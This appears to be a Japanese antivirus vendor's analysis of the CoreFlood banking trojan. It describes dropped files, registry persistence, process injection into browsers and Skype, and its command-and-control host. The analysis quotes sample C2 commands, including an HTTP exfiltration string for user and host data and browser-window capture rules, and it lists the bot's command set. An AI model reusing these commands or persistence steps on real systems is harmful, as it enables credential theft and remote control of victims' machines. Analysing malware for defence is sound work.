・実行時、CoreFlood.dr!C2D4DB2DはsystemsフォルダにCoreFlood.dllという名前で検出されるランダムな名前のocxファイルをドロップ（作成）します。
・また、ランダムな名前で以下のデータファイルもドロップします。
- %system%\dimazylg.dat
- %system%\ieakscev.dat
- %system%\rcbdyctl.dat
- %system%\vwipyspx.dat
- %system%\w3ssN.dat
（%system%はWindowsのシステムディレクトリ。例：C:\Windows\System32\）
・起動時に自動的に動作するため、ドロップしたOCXファイルはランダムなCLSIDを持つShellIconOverlayIdentifierとして登録されます。以下のレジストリキーと値が作成されます。
- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{ランダムなCLSID}\InprocServer32\: "malware path"
- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{ランダムなCLSID}\InprocServer32\ThreadingModel: "Apartment"
- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{ランダムなCLSID}\: "random"
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\wmvdmydf\: "{ランダムなCLSID}"
・作成後、explorer.exeに挿入されます。さらに、以下にも挿入される可能性があります。
- iexplore
- firefox
- opera
- skype
・さらに、HTTP POSTリクエストをコマンド＆コントロールサーバに送信して、情報を送信し、コマンドを受信する可能性があります。CoreFlood.dr!C2D4DB2DはTCPポート80でsoftwarevalidate.comに接続することが確認されています。
・コマンド＆コントロールサーバから発信されたコマンドの例は以下のとおりです。
del ID; addto ID 23957327; setstr ID +S
http #hosts +b "http #hosts +up /index.php usr=\\E\\u\\E&wg=\\E\\vUSERDOMAIN=\\E&cn=\\E\\H\\E&i=23957327&v=3177&os=\\E\\O\\E&s=\\E\\p\\E&h=\\E\\h\\E&d=\\d&b=\\b&u=\\Z&k=\\K&m=\\M&panic=\\qpanic$&ie=\\qie$&input=\\qinput$&other=\\qother$&c=\\c&l=\\l"
setwnd 15 https://* * * +K
setwnd 17 https://* * * +K
setwnd 18 * https://* * +K
setwnd 19 * * * +K
setwnd 11 *caja*.es* * * +QHurfPMSW 4096 4 300000
http #hosts +I 480000
・また、以下のコマンドが攻撃者から発信される可能性があります。
- ADD
- ADDTO
- COPY
- DEL
- DELCOOKIES
- DELFROM
- DISKFLOOD
- DISKUNFLOOD
- DONOP
- ECHO
- EXIT
- EXPORT
- FIND
- INFO
- INS
- JB
- LISTCOOKIES
- LOG
- LST
- LSTWND
- MOVE
- MULTICAST
- OPEN
- PERFRM
- RESOLVE
- RESPAWN
- RESTART
- RMOLD
- RSV
- RUN
- RUNDLL
- SET
- SETCOOKIE
- SETRANGE
- SETSP
- SETSTR
- SETWND
- SHUTDOWN
- SPACE
- STATS
- TIME
- UNFREEZE
- UNIFORG
- UNINSTALL
- URL
- WND
・その他の悪質な活動の一例は以下のとおりです。
- ユーザ名とパスワードの盗み出し
- さらなるマルウェアのダウンロードとインストール
- システムの改変
- フラッド攻撃
・CoreFlood.dr!C2D4DB2Dは通常、ブラウザの脆弱性を利用して拡散することが確認されています。また、他のマルウェアによってダウンロードされ、psexec.exeを使って他のマシンにインストールされる場合があることも確認されています。
